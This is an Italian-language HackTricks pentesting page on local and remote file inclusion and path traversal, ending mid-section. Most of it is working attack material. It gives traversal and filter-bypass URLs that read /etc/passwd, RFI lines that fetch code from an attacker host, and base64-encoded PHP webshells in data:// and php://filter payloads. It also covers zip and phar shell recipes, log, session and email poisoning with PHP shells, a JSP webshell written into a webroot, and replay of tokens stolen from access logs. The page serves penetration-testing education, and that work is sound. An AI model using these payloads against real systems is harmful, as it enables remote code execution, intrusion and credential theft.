File Inclusion/Path traversal

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

File Inclusion

Remote File Inclusion (RFI): Il file viene caricato da un server remoto (Vantaggio: puoi scrivere il codice e il server lo eseguirà). In php questo è disabilitato di default (allow_url_include).
Local File Inclusion (LFI): Il server carica un file locale.

La vulnerabilità si verifica quando l’utente può controllare in qualche modo il file che verrà caricato dal server.

Funzioni PHP vulnerabili: require, require_once, include, include_once

Uno strumento interessante per sfruttare questa vulnerabilità: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mescolando diverse liste LFI di *nix e aggiungendo altri percorsi ho creato questa:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

Prova anche a cambiare / con \
Prova anche ad aggiungere ../../../../../

Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata qui

Windows

Merge di diverse wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Prova anche a cambiare / con \
Prova anche a rimuovere C:/ e aggiungere ../../../../../

Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata qui

OS X

Consulta la lista LFI di linux.

Basic LFI and bypasses

Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences rimosse non ricorsivamente

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass l’aggiunta di caratteri extra alla fine della stringa fornita (bypass di: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Questo è risolto a partire da PHP 5.4

Codifica

Puoi usare codifiche non standard come double URL encode (e altre):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

I moderni motori HTML-to-PDF (es. TCPDF o wrapper come html2pdf) analizzano volentieri HTML, SVG, CSS e URL di font forniti dall’attaccante, ma vengono eseguiti all’interno di reti backend di fiducia con accesso al filesystem. Una volta che puoi iniettare HTML in $pdf->writeHTML()/Html2Pdf::writeHTML(), spesso puoi esfiltrare file locali che l’account del web server può leggere.

  • Fingerprint the renderer: ogni PDF generato contiene un campo Producer (es. TCPDF 6.8.2). Conoscere la build esatta ti indica quali filtri sui percorsi esistono e se la decodifica degli URL avviene prima della validazione.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() legge l’attributo xlink:href dagli elementi <image> prima di eseguire urldecode(). Includere un SVG malevolo all’interno di un data URI fa sì che molti sanitizer HTML ignorino il payload mentre TCPDF lo elabora comunque:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF prepends $_SERVER['DOCUMENT_ROOT'] to paths beginning with / and only later resolves .., so use either leading ../../.. segments or /../../.. to escape the root after the prepend.

  • Codifica per bypassare filtri ingenui: Versions ≤6.8.2 only check for the literal substring ../ before decoding the URL. Sending ..%2f (or ..%2F) in the SVG or in a raw <img src> attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls urldecode().
  • Doppia codifica per decodifiche a più stadi: If user input is decoded by the web framework and by TCPDF, double-encode the slash (%252f). One decode turns it into %2f, the second decode in TCPDF turns it into /, yielding /..%252f../../../../… without ever showing ../ to the early filter.
  • Gestore HTML <img>: TCPDF::openHTMLTagHandler() contains the same order-of-operations bug, allowing direct HTML payloads such as src="%2f..%252f..%252ftmp%252fsecret.png" to read any locally reachable bitmap.

Questa tecnica leaks qualsiasi cosa leggibile dal PDF worker (passport scans, API keys rendered as images, etc.). I manutentori lo hanno corretto in 6.9.1 canonicalizzando i percorsi (isRelativePath()), quindi durante i test dare priorità a versioni Producer più vecchie.

Dalla cartella esistente

Forse il back-end sta controllando il percorso della cartella:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Esplorare le directory del file system su un server

Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando alcune tecniche. Questo processo comporta la determinazione della profondità della directory e la verifica dell’esistenza di cartelle specifiche. Di seguito un metodo dettagliato per ottenerlo:

  1. Determinare la profondità della directory: Accertare la profondità della directory corrente recuperando con successo il file /etc/passwd (applicabile se il server è basato su Linux). Un URL di esempio potrebbe essere strutturato come segue, indicando una profondità di tre:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Sondare le cartelle: Aggiungi il nome della cartella sospetta (es., private) all’URL, poi torna a /etc/passwd. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretare i risultati: La risposta del server indica se la cartella esiste:
  • Errore / Nessun output: La cartella private probabilmente non esiste nella posizione specificata.
  • Contenuto di /etc/passwd: La presenza della cartella private è confermata.
  1. Esplorazione ricorsiva: Le cartelle scoperte possono essere ulteriormente esaminate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi Local File Inclusion (LFI).

Per esplorare directory in posizioni diverse del file system, adatta il payload di conseguenza. Ad esempio, per verificare se /var/www/ contiene una directory private (supponendo che la directory corrente sia a una profondità di 3), usa:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation è un metodo impiegato per manipolare i percorsi dei file nelle applicazioni web. Viene spesso usato per accedere a file riservati aggirando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L’obiettivo è costruire un percorso che, una volta modificato dalla misura di sicurezza, punti ancora al file desiderato.

In PHP, varie rappresentazioni di un percorso possono essere considerate equivalenti a causa della natura del file system. Per esempio:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ sono tutti trattati come lo stesso percorso.
  • Quando gli ultimi 6 caratteri sono passwd, aggiungere una / (rendendolo passwd/) non cambia il file mirato.
  • Allo stesso modo, se .php è aggiunto a un percorso (come shellcode.php), aggiungere un /. alla fine non altera il file a cui si accede.

Gli esempi forniti mostrano come utilizzare path truncation per accedere a /etc/passwd, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In questi scenari, il numero di traversals necessari potrebbe essere circa 2027, ma questo valore può variare in base alla configurazione del server.

  • Using Dot Segments and Additional Characters: Sequenze di traversal (../) combinate con ulteriori dot segments e caratteri possono essere usate per navigare il file system, ignorando di fatto le stringhe aggiunte dal server.
  • Determining the Required Number of Traversals: Con tentativi ed errori si può trovare il numero preciso di sequenze ../ necessario per risalire alla directory radice e poi a /etc/passwd, assicurando che eventuali stringhe aggiunte (come .php) siano neutralizzate ma il percorso desiderato (/etc/passwd) rimanga intatto.
  • Starting with a Fake Directory: È pratica comune iniziare il percorso con una directory inesistente (come a/). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing del path del server.

When employing path truncation techniques, è cruciale comprendere il comportamento di parsing dei path del server e la struttura del filesystem. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php questo è disabilitato di default perché allow_url_include è Off. Deve essere On perché funzioni, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Se per qualche motivo allow_url_include è On, ma PHP sta filtrando l’accesso a pagine web esterne, secondo questo post, puoi usare ad esempio il data protocol con base64 per decodificare un codice PHP in b64 e ottenere RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Repository .git esposto (Divulgazione del codice sorgente)

Se il web server espone /.git/, un attacker può spesso ricostruire l’intero repository (inclusa la cronologia dei commit) e analizzare l’applicazione offline. Questo di solito rivela endpoint nascosti, secrets, query SQL e funzionalità riservate agli admin.

Controlli rapidi:

curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config

Esegui il dump del repository con git-dumper:

uv tool install git-dumper
git-dumper http://TARGET/.git/ out/

Quindi recupera l’albero di lavoro:

cd out
git checkout .

Tip

Nel codice precedente, il +.txt finale è stato aggiunto perché l’attaccante aveva bisogno di una stringa che terminasse in .txt, quindi la stringa termina con quello e, dopo la decodifica b64, quella parte restituirà solo junk e il vero codice PHP verrà incluso (e quindi eseguito).

Un altro esempio che non usa il protocollo php:// sarebbe:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Elemento radice

In Python, in un codice come questo:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Se l’utente passa un absolute path a file_name, il percorso precedente viene semplicemente rimosso:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Questo è il comportamento previsto secondo the docs:

Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e la concatenazione continua a partire dal componente di percorso assoluto.

Elenco directory in Java

Sembra che se hai una Path Traversal in Java e richiedi una directory invece di un file, viene restituito l’elenco della directory. Questo non accade in altri linguaggi (afaik).

Top 25 parametri

Ecco la lista dei top 25 parametri che potrebbero essere vulnerabili a local file inclusion (LFI) (da link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

I filtri PHP permettono di eseguire operazioni di modifica sui dati prima che vengano letti o scritti. Ci sono 5 categorie di filtri:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Rimuove i tag dai dati (tutto ciò che è tra i caratteri “<” e “>”)
  • Nota che questo filtro è scomparso nelle versioni moderne di PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Trasforma in una codifica diversa (convert.iconv.<input_enc>.<output_enc>). Per ottenere la lista di tutte le codifiche supportate esegui in console: iconv -l

Warning

Abusando del filtro di conversione convert.iconv.* puoi generare testo arbitrario, il che può essere utile per scrivere testo arbitrario o fare in modo che una funzione come include processi testo arbitrario. Per maggiori informazioni controlla LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Comprime il contenuto (utile se esfiltrando molte informazioni)
  • zlib.inflate: Decomprime i dati
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Other Filters
  • Eseguendo in php var_dump(stream_get_filters()); puoi trovare un paio di filtri inaspettati:
  • consumed
  • dechunk: inverte l’encoding HTTP chunked
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

La parte “php://filter” non è sensibile al maiuscolo/minuscolo

Usare php filters come oracle per leggere file arbitrari

In questo post viene proposta una tecnica per leggere un file locale senza che l’output venga restituito dal server. Questa tecnica si basa su una esfiltrazione booleana del file (char by char) usando php filters come oracle. Questo perché php filters possono essere usati per rendere un testo abbastanza grande da far php lanciare un’eccezione.

Nel post originale trovi una spiegazione dettagliata della tecnica, qui un breve riassunto:

  • Usare il codec UCS-4LE per lasciare il carattere iniziale del testo all’inizio e far aumentare esponenzialmente la dimensione della stringa.
  • Questo viene usato per generare un testo così grande quando la lettera iniziale è indovinata correttamente che php attiverà un errore
  • Il filtro dechunk rimuove tutto se il primo char non è hex, quindi possiamo sapere se il primo char è hex.
  • Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all’inizio del testo osservando quando applichiamo sufficienti trasformazioni affinché non sia più un carattere esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare un errore in php.
  • Il codec convert.iconv.UNICODE.CP930 trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una a, perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere hex; di conseguenza dechunk non la elimina e l’errore php viene attivato perché si moltiplica con la bomba iniziale.
  • Usando altre trasformazioni come rot13 all’inizio è possibile leakare altri chars come n, o, p, q, r (e altri codecs possono essere usati per spostare altre lettere nel range hex).
  • Quando il primo char è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per leakare il numero.
  • Il problema finale è capire come leakare più della lettera iniziale. Usando filtri di riordino in memoria come convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE è possibile cambiare l’ordine dei chars e portare in prima posizione altre lettere del testo.
  • E per poter ottenere ulteriori dati l’idea è di generare 2 byte di junk data all’inizio con convert.iconv.UTF16.UTF16, applicare UCS-4LE per farli pivotare con i successivi 2 byte, e cancellare i dati fino ai junk data (questo rimuoverà i primi 2 byte del testo iniziale). Continuare così fino a raggiungere il bit desiderato da leakare.

Nel post è stato anche rilasciato uno strumento per eseguire automaticamente questo: php_filters_chain_oracle_exploit.

php://fd

Questo wrapper permette di accedere ai file descriptor che il processo ha aperti. Potenzialmente utile per exfiltrare il contenuto di file aperti:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Puoi anche usare php://stdin, php://stdout and php://stderr per accedere ai file descriptors 0, 1 and 2 rispettivamente (non sono sicuro di come questo possa essere utile in un attacco)

zip:// and rar://

Carica un file Zip o Rar con una PHPShell all’interno e accedilo.
Per poter abusare del protocollo rar è necessario che sia attivato specificamente.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Nota che questo protocollo è limitato dalle configurazioni di php allow_url_open e allow_url_include

expect://

Expect deve essere attivato. Puoi eseguire codice usando questo:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Specifica il payload nei parametri POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un file .phar può essere utilizzato per eseguire codice PHP quando un’applicazione web sfrutta funzioni come include per il caricamento di file. Lo snippet di codice PHP mostrato di seguito dimostra la creazione di un file .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Per compilare il file .phar, va eseguito il seguente comando:

php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alloc chunks of specific sizes abusing more php filters.

More protocols

Controlla altri possibili protocols to include here:

  • php://memory and php://temp — Scrive in memoria o in un file temporaneo (non sono sicuro di quanto questo possa essere utile in un attacco di file inclusion)
  • file:// — Accesso al filesystem locale
  • http:// — Accesso a URL HTTP(s)
  • ftp:// — Accesso a URL FTP(s)
  • zlib:// — Compression Streams
  • glob:// — Trova pathname che corrispondono al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (Non utile per leggere file arbitrari)

LFI via PHP’s ‘assert’

I rischi di Local File Inclusion (LFI) in PHP sono particolarmente elevati quando si utilizza la funzione ‘assert’, che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se un input contenente caratteri di directory traversal come “..” viene controllato ma non correttamente sanitizzato.

Ad esempio, il codice PHP potrebbe essere progettato per prevenire directory traversal come segue:

assert("strpos('$file', '..') === false") or die("");

Sebbene questo miri a fermare traversal, crea involontariamente un vettore per code injection. Per sfruttare questo per leggere il contenuto di un file, un attacker potrebbe usare:

' and die(highlight_file('/etc/passwd')) or '

Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:

' and die(system("id")) or '

È importante URL-encode questi payload.

PHP Blind Path Traversal

Warning

Questa tecnica è rilevante nei casi in cui tu controlli il percorso del file di una funzione PHP che accéderà a un file ma non vedrai il contenuto del file (come una semplice chiamata a file()), perché il contenuto non viene mostrato.

Nel questo incredibile post è spiegato come un blind path traversal possa essere abusato tramite PHP filter per esfiltrare il contenuto di un file via un error oracle.

In sintesi, la tecnica utilizza la codifica “UCS-4LE” per rendere il contenuto di un file così grande che la funzione PHP che apre il file genererà un errore.

Poi, per ottenere il primo carattere viene usato il filter dechunk insieme ad altri come base64 o rot13, e infine i filter convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE vengono usati per posizionare altri caratteri all’inizio e leak them.

Funzioni che potrebbero essere vulnerabili: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Per i dettagli tecnici controlla il post menzionato!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Quando il codice server-side che elabora/carica file costruisce il destination path usando dati controllati dall’utente (es., un filename o URL) senza canonicalizzare e validare, i segmenti .. e i path assoluti possono uscire dalla directory prevista e causare una scrittura arbitraria di file. Se puoi posizionare il payload sotto una directory esposta al web, di solito ottieni RCE non autenticata piazzando una webshell.

Typical exploitation workflow:

  • Individua una primitiva di scrittura in un endpoint o in un background worker che accetta un path/filename e scrive contenuto su disco (es., message-driven ingestion, gestori di comandi XML/JSON, ZIP extractors, ecc.).
  • Determina le directory esposte al web. Esempi comuni:
    • Apache/PHP: /var/www/html/
    • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
    • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Crea un traversal path che esca dalla directory di storage prevista verso il webroot e includi il contenuto della tua webshell.
  • Visita il payload caricato e esegui comandi.

Note:

  • Il servizio vulnerabile che esegue la scrittura può ascoltare su una porta non-HTTP (es., un listener JMF XML su TCP 4004). Il portale web principale (porta diversa) servirà poi il tuo payload.
  • Su stack Java, queste scritture su file sono spesso implementate con semplici concatenazioni File/Paths. La mancanza di canonicalizzazione/allow-listing è il difetto principale.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening che neutralizza questa classe di bug:

  • Risolvere a un percorso canonico e assicurarsi che sia un discendente di una directory base allow-listed.
  • Rifiutare qualsiasi percorso contenente .., absolute roots, o drive letters; preferire generated filenames.
  • Eseguire il writer come un account a basso privilegio e segregare le directory di scrittura dalle served roots.

Remote File Inclusion

Spiegato in precedenza, follow this link.

Tramite Apache/Nginx log file

Se il server Apache o Nginx è vulnerable to LFI dentro la funzione include puoi provare ad accedere a /var/log/apache2/access.log or /var/log/nginx/access.log, inserire nell’user agent o in un GET parameter una php shell come <?php system($_GET['c']); ?> e includere quel file

Warning

Nota che se usi double quotes per la shell invece di simple quotes, le double quotes saranno modificate per la stringa “quote;”, PHP genererà un errore lì e niente altro verrà eseguito.

Inoltre, assicurati di scrivere correttamente il payload o PHP andrà in errore ogni volta che tenta di caricare il file di log e non avrai una seconda opportunità.

This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation “basic” contains “user:password” in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Altri possibili percorsi di log:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Leggere i log di accesso per raccogliere GET-based auth tokens (token replay)

Molte app accettano erroneamente session/auth tokens tramite GET (es. AuthenticationToken, token, sid). Se hai una primitive di path traversal/LFI per leggere i web server logs, puoi rubare quei token dagli access logs e replayarli per bypassare completamente l’autenticazione.

Come fare:

  • Usa il traversal/LFI per leggere il web server access log. Posizioni comuni:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Alcuni endpoint restituiscono file letti codificati in Base64. In tal caso, decodifica localmente e ispeziona le righe del log.
  • Usa grep per trovare richieste GET che includono un parametro token e cattura il suo valore, quindi replayalo contro il punto di ingresso dell’applicazione.

Esempio di flusso (generico):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Decodifica il body se è Base64, poi esegui un replay di un token catturato:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Note:

  • Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
  • Se l’app supporta più nomi di token, cerca chiavi comuni come AuthenticationToken, token, sid, access_token.
  • Rigenera qualsiasi token che possa essere leaked nei log.

Via Email

Invia una mail a un account interno (user@localhost) contenente il tuo PHP payload come <?php echo system($_REQUEST["cmd"]); ?> e prova a includerla nella mail dell’utente con un percorso tipo /var/mail/<USERNAME> o /var/spool/mail/<USERNAME>

Via /proc//fd/

  1. Carica molte shells (per esempio: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (anche questo può essere brute forced)

Via /proc/self/environ

Come un file di log, invia il payload nel User-Agent; verrà riflesso dentro il file /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Se puoi fare upload di un file, inserisci semplicemente la shell payload al suo interno (es. : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Per mantenere il file leggibile, è meglio inserire nei metadati delle immagini/doc/pdf

Via Zip file upload

Carica un file ZIP contenente una PHP shell compressa e accedi:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Tramite PHP sessions

Controlla se il sito web utilizza PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP queste sessioni sono memorizzate in /var/lib/php5/sess\[PHPSESSID]_ file

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Imposta il cookie su <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Usa LFI per includere il file di sessione PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Se ssh è attivo, verifica quale utente viene utilizzato (/proc/self/status & /etc/passwd) e prova ad accedere a <HOME>/.ssh/id_rsa

Via vsftpd registri

I log del server FTP vsftpd si trovano in /var/log/vsftpd.log. Nello scenario in cui esista una Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi:

  1. Inject a PHP payload nel campo username durante il processo di login.
  2. Dopo l’iniezione, utilizza la LFI per recuperare i log del server da /var/log/vsftpd.log.

Via php base64 filter (using base64)

As shown in this article, PHP base64 filter just ignore Non-base64. Puoi usare questo per bypassare il controllo dell’estensione del file: se fornisci base64 che termina con “.php”, ignorerà il “.” e aggiungerà “php” al base64. Ecco un esempio di payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (non è necessario un file)

This writeup spiega che puoi usare php filters to generate arbitrary content come output. Il che fondamentalmente significa che puoi generate arbitrary php code per l’include without needing to write in un file.

LFI2RCE via PHP Filters

Via segmentation fault

Upload un file che sarà memorizzato come temporary in /tmp, poi nella same request, provoca un segmentation fault, e allora il temporary file won’t be deleted e puoi cercarlo.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Se trovi una Local File Inclusion e Nginx è in esecuzione davanti a PHP potresti riuscire a ottenere RCE con la seguente tecnica:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Se trovi una Local File Inclusion anche se don’t have a session e session.auto_start è Off. Se fornisci il PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, PHP enable the session for you. Potresti abusarne per ottenere RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Se trovi una Local File Inclusion e il server è in esecuzione su Windows potresti ottenere RCE:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

